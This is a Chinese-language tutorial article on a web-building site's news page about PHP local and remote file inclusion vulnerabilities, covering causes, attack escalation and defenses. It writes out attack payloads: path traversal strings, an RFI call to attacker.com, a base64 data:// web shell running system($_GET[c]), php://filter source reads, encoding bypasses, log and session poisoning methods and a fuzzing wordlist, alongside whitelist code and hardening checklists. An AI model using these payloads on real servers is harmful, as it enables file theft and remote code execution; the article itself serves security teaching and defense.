恒美微站 Logo 恒美微站
  • 首页
  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心
  • 联系我们

PHP文件包含漏洞深度解析:原理、攻击演进与防御实战

  • 首页
  • 资讯中心
  • /
  • PHP文件包含漏洞深度解析:原理、攻击演进与防御实战

相关资讯

基于MP2642GR-Z与ATmega32的双节锂电被动均衡系统设计 2026/10/17 5:59:32
C语言高效解析CSV:状态机、内存映射与常见坑位排查 2026/10/17 5:54:31
用知识树搞定技术面试:从零散记忆到系统复习 2026/10/17 5:54:31

最新资讯

ARM 嵌入式 Linux 系统启动流程实战指南
2小时,我搭了一套项目进度分析报表,自动统计延期风险
如何识别CAN(FD)总线错误帧
aidl 跨进程通信流程
解决中兴b862v3.1-m2移动定制机顶盒刷机错误
在 Python 编程中,**基础数据类型**、**变量**和**常量**是程序最底层的构建块

今日推荐

Qwen3.5-122B-A10B-singprobe幻觉检测实战:AUC 0.7806,如何实时揪出大模型一本正经的胡话?
NetSpot 实战:用信道分析与频宽优化解决 Wi-Fi 卡顿
C++ split() 字符串分割的五种实现与性能实测

本周热门

UE动画修改实战:从资产编辑到重定向与蒙太奇驱动
统计随机数生成器攻击下的KLJN安全密钥交换协议Matlab仿真
政务API安全治理:资产测绘、低代码编排与行标对标实践

本月精选

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证
2026 大模型集体涨价:用 Python 做企业 Token 成本测算与选型避坑(附配置)

PHP文件包含漏洞深度解析:原理、攻击演进与防御实战

发布时间:2026/10/17 5:59:32
PHP文件包含漏洞深度解析:原理、攻击演进与防御实战 文件包含漏洞在国内外的 CTF 题目和真实渗透测试里一直是常客甚至可以说只要你能碰到一套老一点的 PHP 后端系统文件包含File Inclusion就是你最优先要测的方向之一。这类漏洞的可怕之处在于表面上看只是“把某个文件加载进来”实际上攻击者可以读服务器上的敏感文件也可以直接把代码执行权限拿到手最终演变成整台服务器被接管。而更麻烦的一点是文件包含不是靠一个补丁就能彻底解决的它牵扯到代码设计、运行环境、过滤逻辑以及攻击者精心构造的多层绕过。这篇文章我把原理、成因、攻击演进和防御绕过一次讲透尽量用我踩过的坑和实际调过的案例来说话。1. 文件包含漏洞到底是什么——先讲清楚这类漏洞的底层机制1.1 include 和 require一次就说明白要理解文件包含漏洞首先要从 PHP 的文件包含能力说起。PHP 提供了四个函数include、include_once、require、require_once。它们的作用很简单——把另一个文件的内容加载到当前脚本里。区别只在出错时的行为差异include 在加载失败时只产生警告脚本继续往下走require 会直接抛出致命错误终止脚本。_once 系列则保证同一个文件在一个请求周期内最多只被加载一次避免重复定义类或函数。就因为这个“把文件内容拿过来”的机制PHP 应用里大量使用它来做模板渲染、公共头部引入、配置文件加载等等。正常的用法长这样?php $page home.php; include ./pages/ . $page; ?这种代码在功能上没有任何问题问题出在开发者的假设上。本来 $page 应该只有一个固定的值比如 home、about、contact但如果有任何攻击者输入直接控制了 $page 这个变量那么这个 include 就变成了一个由攻击者指定文件路径的“任意文件加载器”。攻击者只需要把参数改成index.php?page../../../etc/passwd在路径归一化之后include 会去读取服务器上的 /etc/passwd并且因为目标文件里没有 PHP 标签它会被原样输出敏感系统文件就这么泄露了。如果包含的是一个存有 PHP 代码的日志文件、临时上传目录里的文件、或者会话文件那就不再只是读文件的问题了PHP 会把你命名的路径里的内容当作 PHP 代码来执行。你可能会问为什么 include 能执行代码而 file_get_contents 只是读取文本关键就在这里include 不是“读取后展示”它的本质是“在当前 PHP 进程里解释执行目标内容”。目标文件里哪怕只有一行?php system(whoami); ?include 之后这行代码就直接在当前进程的权限和上下文中跑起来了。把这种情况类比成剧本中毒会更准确你的脚本本来想读一份台词结果攻击者递过来的剧本里夹带了“独立执行指令”你的系统还傻乎乎地照单执行了。1.2 本地包含和远程包含的杀伤力差异文件包含按数据来源可以分成两类LFILocal File Inclusion本地文件包含和 RFIRemote File Inclusion远程文件包含。本地包含就像我刚才举的例子加载的目标是服务器上已有的文件攻击难度低、触发条件少只要有一个可控的 include 参数就行。远程包含则要求代码里有类似include($url)这样的写法并且 PHP 配置里允许从远程 URL 加载文件。远程包含的杀伤力要远高于本地包含因为攻击者可以在自己控制的服务器上放一个标准的 shell 文件index.php?pagehttp://attacker.com/shell.txt一旦目标服务器把远程文件内容包含进来PHP 就会执行里面的代码这直接就是一次远程命令执行。所以只要看到 allow_url_include 被开启我的第一反应就是把它关掉绝大多数情况下一个正常业务根本不需要远程包含文件的能力开启它纯属把攻击面白送出去。本地包含虽然不能直接拿到代码执行但它是通往代码执行的高速公路。思路是通过包含服务器上本身就会写入攻击者可控内容的文件比如日志文件、PHP 临时上传文件、Redis 持久化备份、邮件文件、会话文件等等。等攻击者的脏数据混进了这些文件再让 include 去加载它们脏数据里的 PHP 片段就会被解释执行这就完成了从“读文件”到“执行命令”的跳跃。2. 产生原因为什么开发阶段常中招2.1 用户输入直接落到 include 参数上大多数文件包含漏洞的起点是开发者把外部输入直接当成了文件路径的一部分。最常见的几种写法$module $_GET[module]; include($module . .php);或者$page pages/ . $_POST[page] . .html; include($page);第一种看起来好像加了后缀限制只能加载 .php 文件攻击路径应该被堵死了但事实上不是。include 在处理路径时路径里的空字节、多层路径穿越和特殊协议都会被解析。更重要的是很多平台支持在路径后面加上查询参数或片段标识来干扰文件名拼接导致你加的固定后缀根本没生效。我印象最深的一次测试是某后台管理系统的菜单功能。它的 URL 长这样/admin/index.php?pageheader系统自动拼成./tpl/header.php。当时用普通目录穿越直接读文件结果全被 WAF 或者过滤拦了。后来我把参数改成pageheader.php%00的经典思路不死心发现后端加了过滤。可折腾一圈后发现这套系统运行在 Windows 服务器上大小写不敏感把.php换成.PhP就能绕过扩展名校验。这种“你以为你限制了其实只是限制了 Linux 服务端的写法”的案例一点都不少。用户输入直接进入 include 参数是根因中的根因只要这行代码存在剩下的只是攻击者愿不愿意花时间构造手法的问题。2.2 开发者图省事儿一个入口全搞定很多老项目的 index.php 设计思路是一个入口文件根据请求参数跳转到不同页面。switch ($_GET[action]) { case home: include home.php; break; case about: include about.php; break; case contact: include contact.php; break; ... }这种写法本身没有安全问题因为 case 分支是白名单逻辑。但问题往往出现在后期的所谓“优化重构”上有些同事觉得这么写不行页面太多 case 太乱于是变成include pages/ . $_GET[action] . .php;这一改白名单没了直接变成任意文件加载。而这类重构在 Git 记录里看起来非常自然一点没有恶意特征代码审计时如果不盯着 diff 看很容易就放过。我见过太多案例漏洞不是最初写出来的而是开发中途为了统一入口、加模板机制、实现动态主题包时顺手引入的。文件包含漏洞的成因在所有 web 漏洞里算是最典型的技术债务泄露之一。还有一种常见场景是主题系统。CMS 或框架允许用户在后台切换主题前台模板输出时动态加载模板文件include themes/ . $theme . /header.php;你以为 $theme 是从配置里读出来的跟用户无关。但如果后台设置主题的接口没有权限校验或者主题名称直接来自 cookie 甚至 URL 参数那这个看起来人畜无害的主题加载逻辑立刻就变成了可利用的 LFI。更隐蔽的是有些系统用$_SERVER[HTTP_HOST]拼接路径来做多站点模板隔离等于直接把 Host 头变成攻击入口。2.3 远程包含的历史包袱和配置误区远程文件包含RFI为什么总出现在老系统里因为 PHP 4 时代默认行为比较宽松allow_url_include 这个配置项在 PHP 5.2 之前默认允许远程包含很多项目在那个年代开发出来后就一直延续着老代码的习惯。后来 PHP 调整了默认策略老项目升级时配置没有同步更新或者更新了 php.ini 但代码里用 ini_set 又把它打开了这两种都会成为历史包袱。远程包含的本质是让代码信任两个不同来源的数据一部分是你自己的代码逻辑另一部分完全是攻击者自定义的任意脚本。这种信任在互联网环境里是极其危险的因为你根本无法预估攻击者会给你传什么内容过来。我对所有使用 include、require 直接拼用户输入的系统都只有一个建议把代码里的所有远程加载行为全部干掉绝不依赖运行时远程拿文件。3. 攻击手段演进的三个阶段3.1 基础 LFI 利用路径穿越和敏感文件读取最简单的利用就是在可控参数里写入相对或绝对路径。假设访问地址是http://target/index.php?pageabout当我把 page 改成http://target/index.php?page../../../../../../etc/passwd如果系统存在漏洞服务器会返回 /etc/passwd 的内容。这个过程中目录层数不一定固定通常要多次尝试从../开始一层层往上级目录走直到找到能读到文件的那一个层级。为了方便我一般直接塞一个很长的../../../../../../配合 include 路径解析特性多出来的层级通常会被忽略掉只要最深层路径有效即可。在 Windows 服务端还能用盘符路径、绝对路径甚至 UNC 路径比如index.php?pageC:/Windows/win.ini index.php?page\\127.0.0.1\share\file这种差异导致同一个站点在不同操作系统上的可读文件完全不一样判断操作系统类型直接会影响后续选什么文件来读。敏感文件清单有这个底子就够了文件路径用途/etc/passwd确认操作系统、用户列表/etc/hosts内网主机名信息/www/config.php数据库凭据、应用密钥/proc/self/environ进程环境变量常含路径、会话信息/proc/self/cmdline启动参数暴露应用部署信息C:/Windows/win.ini确认 Windows 系统C:/inetpub/wwwroot/web.configIIS 站点的配置信息3.2 从读文件到远程命令执行LFI 升级的几条典型路线读敏感文件虽然危险但攻击者的最终目标通常是代码执行。LFI 升级 RCE 有几种主流打法第一种是利用日志文件注入。把 HTTP 请求的 User-Agent 参数写成 PHP 代码然后通过 LFI 包含 Web 服务器日志比如 Nginx 的 access.log、Apache 的 access_log日志里记录的这个 User-Agent 就会在 include 时被当作 PHP 代码执行。这里的限制是日志文件的路径和权限必须可控且日志中记录的请求不能被转义到无法解析的状态。这个方法虽然古老但现在依然在很多默认配置的靶机和真实环境中有效。第二种是包含会话文件。PHP 会话文件默认保存在 /tmp/sess_ session_id内容序列化了当前会话的变量。如果应用程序里存在任何把用户输入写入 session 的功能点比如登录后的用户名、昵称、收藏列表那攻击者就能把 PHP 代码写进 session 数据里再通过 LFI 包含这个 session 文件执行代码。这里需要先拿到一个有效的 session id同时能准确推断出 session 文件的存放路径。文件路径拿不准常见做法是结合 phpinfo 页面的 session.save_path 配置或者按默认路径挨个试。第三种是利用临时上传文件。PHP 在接收文件上传时会先把文件临时放到系统临时目录并在请求结束后自动删除。但临时文件到达目标路径到被删除之间存在一个极小的窗口攻击者可以一边提交包含大文件的上传请求一边反复发送 LFI 请求赌 include 恰好在这个时间窗口里命中临时文件。这种时间竞争打法需要脚本自动化辅助虽然成功率不稳定但在某些高版本沙箱环境里反而是唯一出路。还有一条比较小众但偶尔能碰到的是通过 PHP filter 协议读取源码。当 LFI 无法直接包含会执行的文件时我可以把参数改成index.php?pagephp://filter/convert.base64-encode/resourceindex.php这样可以直接导出目标文件的 base64 源码绕开了“读不了源码因为里面有 PHP 标签”的限制。拿到源码后就能进一步做代码审计分析出更多可利用的漏洞形成攻击链的纵深突破。filter 协议还支持链式过滤器可以对内容做多次转换这在某些过滤严格的场景里是绕过手段的底层基础。3.3 绕过过滤器的构造技巧很多开发者在知道文件包含漏洞后第一反应是给参数加上过滤。但过滤本身经常成为另一个漏洞来源主要有三派绕过思路第一派是字符混淆。当过滤函数只识别了一些常见的路径穿越标志时可以尝试用双写、大小写混淆、编码混淆等方式规避page....//....//....//etc/passwd page..%2f..%2f..%2fetc%2fpasswd page..%252f..%252fetc%252fpasswd page%2e%2e%2f%2e%2e%2fetc/passwd这些变体之所以有效是因为过滤执行和 include 实际解析路径采用了不同的归一化规则。过滤器看着是干净的字符串实际到达文件系统时却又变回了有效的路径穿越。第二派是借助可用的 PHP 流包装器。如果过滤不是直接堵路径穿越而是拦“必须以 .php 结尾”那可以换用 php://filter 协议把目标文件包装成流再拉取不经过传统的文件命名判断。如果系统允许 include 一个 URL 地址直接上 data:// 协议可以在没有任何外部服务器的情况下内联写入 PHP 代码index.php?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs/Pg这里的 base64 解码后就是?php system($_GET[c]);?完全不需要攻击者拥有第二个服务器利用链的依赖被压缩到最小。第三派是利用路径长度和系统限制。某些过滤逻辑只检查前多少个字符或者只检查固定子串出现与否不去校验最终解析结果。在这种情况下攻击者可以把无效目录堆在前面让有效穿越路径在检查点后面才开始生效。另外像 FreeBSD、Windows 等系统对路径解析的宽容度不同点号、斜杠、空格的处理方式都不一样这会让构造手法和 Linux 上出现显著差异。一个经验是拿一套相同的 payload 测试不同系统失败不代表漏洞不存在可能只是没切对系统的路径方言。4. 防御方案这次把被动改成主动4.1 基础配置加固从配置层切断衰减防御文件包含的核心动作是把可被攻击的面收窄。PHP 配置层面优先级最高的是关掉远程包含能力。在 php.ini 中确认或设置allow_url_include Off allow_url_fopen Off如果线上服务确实需要访问远程资源allow_url_fopen的开启一般只影响 file_get_contents 等读取操作不至于让 PHP 直接去加载远程脚本风险相对低。而allow_url_include则是只要打开include 就能远程拉取文件风险几乎不可控。我的建议是允许读远程资源可以理解但绝不允许用 include 相关函数去加载远程内容。还要顺手改掉默认的会话保存路径。有些环境 attack 面大是因为/tmp目录共享导致会话文件可预测且集中把 session.save_path 改成应用私有目录并用严格的权限设置隔离攻击者想通过 LFI 包含会话文件就不那么容易找对位置。跟文件包含相关的还有一个 PHP 配置叫 disable_functions。这个配置本身不会直接防止包含但会影响包含之后代码执行的效果。如果系统已经被人拿文件包含读了一圈同时禁用了 system、exec、passthru 等命令执行函数即使攻击者通过 LFI 造成了某个文件被当 PHP 执行他发现不能命令执行之后会更倾向于先搞信息泄露再横向移动。禁用危险函数不能阻挡漏洞发生但每一层延迟都给了你的检测系统反应时间。4.2 代码层防御把白名单思维落实到每一处加载代码修复一定是第一优先级。所有使用了 include、require 的地方先问一个问题这段加载的是静态固定文件还是跟用户输入有关如果无关确认路径里没有拼接任何请求参数如果有关必须改为白名单校验。最简单的白名单例子?php $allowed [home ./pages/home.php, about ./pages/about.php]; $page $_GET[page] ?? home; if (isset($allowed[$page])) { include $allowed[$page]; } else { // 记录并返回默认页 include $allowed[home]; } ?这种写法的关键是不管用户传什么值数组里找不到就直接走默认分支。用户传../../etc/passwd严格对应不到任何一个数组 key后端根本不会执行 include。这就是本质上的差异——白名单是防御黑名单只是猜测攻击者的手法。对那些需要动态选择模板文件但又不方便列白名单的场景可以退而求其次用路径约束法。先把模板目录的绝对路径固定下来再要求拼接后的真实路径必须位于该目录内?php $base realpath(__DIR__ . /pages/); $path realpath($base . / . $_GET[page]); if ($path strpos($path, $base) 0 is_file($path)) { include $path; } else { // 拒绝 } ?realpath 会把..归一化和去掉多余符号然后再用字符串前缀判断确保没有跳出基目录。这种方案在处理包含路径穿越时比较可靠但它依赖 realpath 对不存在的文件返回 false 的特性也要注意基目录与最终路径的字符串前缀匹配不能出现/pages_evil这样前缀恰好相同但实际不是同一目录的情况正确写法里边界分隔符要考虑进去。4.3 构建主动防御的检验清单我每次给团队做安全评审时都是照着这个问题列表查的直接拿去用就行所有include / require / include_once / require_once 是否只有固定字面量或白名单映射是否有关闭 allow_url_include文件路径拼接是否经过 realpath 校验并限制在预定义目录内上传功能是否限制扩展名和 MIME 类型并将上传目录设为不可执行脚本日志文件是否在 Web 可访问目录之外会话保存路径是否改到非默认目录且没有攻击者可控内容写入会话服务器是否对错误信息做了脱敏即使 include 失败也不暴露真实绝对路径是否存在运行 PHP 以外的目录层级里放了可被包含的文本文件以上任何一条不过都建议在下个迭代里安排修复。尤其是上传目录不可执行这不仅防文件包含还防直接上传马属于最基础但最容易被漏掉的一条。5. 常见问题排查我实战中反复踩过的几个坑5.1 读文件成功但代码执行失败最常见的问题是明明 LFI 能读到 /etc/passwd但包含日志、会话文件时就是不执行 PHP 代码。这种地方的根因通常是目标文件里的 PHP 代码被转义或者拼接不当。Nginx 的 access.log 默认会把用户输入原样记录但如果代码里有特殊字符被转义成\x这类十六进制表示那 PHP 引擎看到的内容就不是合法的 PHP 代码自然不执行。还有一种情况是 PHP 代码被包含文件里的 HTML 标签打断。日志文件的每一条记录都是IP - - [时间] GET /... HTTP/1.1之类的前缀攻击者的 PHP 代码往往被夹在中间PHP 引擎遇到?php后面如果引入了不属于代码的部分就可能报语法错误直接抛 500。这时候得调整断言的写法尽量用短标签、不用引号的 payload减少和日志格式冲突的概率。排查思路很简单先用一个无害的标记字符串确认包含内容确实进入了响应再逐步替换成更短的 PHP 片段。不要一上来就拼完整的一句话木马很多初学攻击的开发者踩坑就踩在不先做短路测试。5.2 WAF 拦截后绕过反而过不去在实际测试中当你发现 payload 被 WAF 拦截第一反应千万别是盲目加编码。WAF 的规则引擎会在解码后的请求体里做多层检查加一层 URL 编码反而可能触发“解码后含恶意特征”这种特征规则。正确做法是先用一个完全不触发规则的路径穿越 payload比如把目录穿越换成路径归一化表达pagefoo/../foo/../foo/../etc/passwd这是通过“有效路径 冗余目录”来完成穿越的WAF 对..出现在中间位置的处理很可能比对直接../../开头宽松得多。另一个思路是用分号、反斜杠等系统路径分隔符替代可能被拦截的正斜杠因为 Windows 服务端接受/也接受\但很多 WAF 只盯着正斜杠做规则匹配。绕过成功之后建议不要立刻上大 payload先拿一个低危的信息泄露请求确认流量通路是通的再逐步叠加利用链。为了稳一点我每次绕过成功都会在本地记录当时 WAF 放过的完整变形用于跟团队复盘规则覆盖不足的地方这比直接闷头打得全局视野清晰得多。5.3 代码审计时如何快速定位文件包含漏洞很多人拿到一个项目的源码无从下手其实只需盯住几个高风险函数再用 grep 把调用点全部拉出来grep -rn include\|\include_once\|\require\|\require_once --include*.php .然后对每个调用点判断它的参数是否为外部可控。外部可控的来源主要包括 $_GET、$_POST、$_COOKIE、$_SERVER、$_FILES、数据库读回来的值。如果在数据库读回来的值后面又和文件路径做拼接同样属于可控范围因为数据库内容可能被其他漏洞或者后台管理接口污染。审计顺序上先把入口脚本index.php、admin.php 等include 全部过一遍再查路由分发文件最后查模板和主题加载点。重点看模板加载点的原因在于很多项目把同一个模板加载函数放在基类里一处有问题全站都要炸。手动审计配合几个常用的自动扫描工具会高效很多但自动扫描器很容易漏掉带协议类型的包含和编码绕过。作为补充手段可以用 Burp Suite 的 Intruder 直接对参数做字典攻击把常见的 LFI 路径、协议封装、编码变体混在一个字典里打。我常用的字典开头几十行大概是/etc/passwd ../../../../etc/passwd ....//....//....//etc/passwd php://filter/convert.base64-encode/resourceindex.php data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8扫描过程中留意响应长度和状态码异常把差异点拉出来手工验证。自动化只是放大线索真正的判定还是要靠人。结尾文件包含这个漏洞纵横快二十年了技术细节从早期的空字节截断、远程包含一路演变到现在的过滤器链、会话文件注入、临时上传竞争方法一直在翻新但底层的根因始终没变开发者把一个用户可控的值交给了本应只加载可信代码的函数。我个人的看法是与其花大量时间收集各种绕过 payload不如先把 include 调用点的白名单闭环做好再在运行层把 allow_url_include 彻底关死。这三步做完90% 的攻击面就已经消失了剩下的那 10% 靠日志监控、上传隔离和定期审计去兜底。最后再分享一个小习惯每次新建 PHP 项目我会在项目根目录放一份 .htaccess 或 nginx 配置确保任何直接访问日志、备份、临时文件的请求都返回 403同时给所有 include 目录加上一个空的 index.php 占位文件。这个动作十五秒就能做完但能把很多探测类攻击直接打回原形。

关于恒美微站

恒美微站专注于为个体商户、工作室提供极简自助建站服务,让每个人都能轻松拥有专业网站。

快速链接

  • 关于我们
  • 建站服务
  • 主题模板
  • 案例展示
  • 资讯中心

服务项目

  • 可视化建站
  • 拖拽编辑
  • 主题定制
  • SEO 优化
  • 网站托管

联系方式

  • 📍 地址:北京市朝阳区建国路 88 号
  • 📞 电话:400-888-8888
  • ✉️ 邮箱:info@hmyw.cn
  • 🕐 时间:周一至周日 9:00-18:00

© 2024 恒美微站 hmyw.cn 版权所有 | 京 ICP 备 12345678 号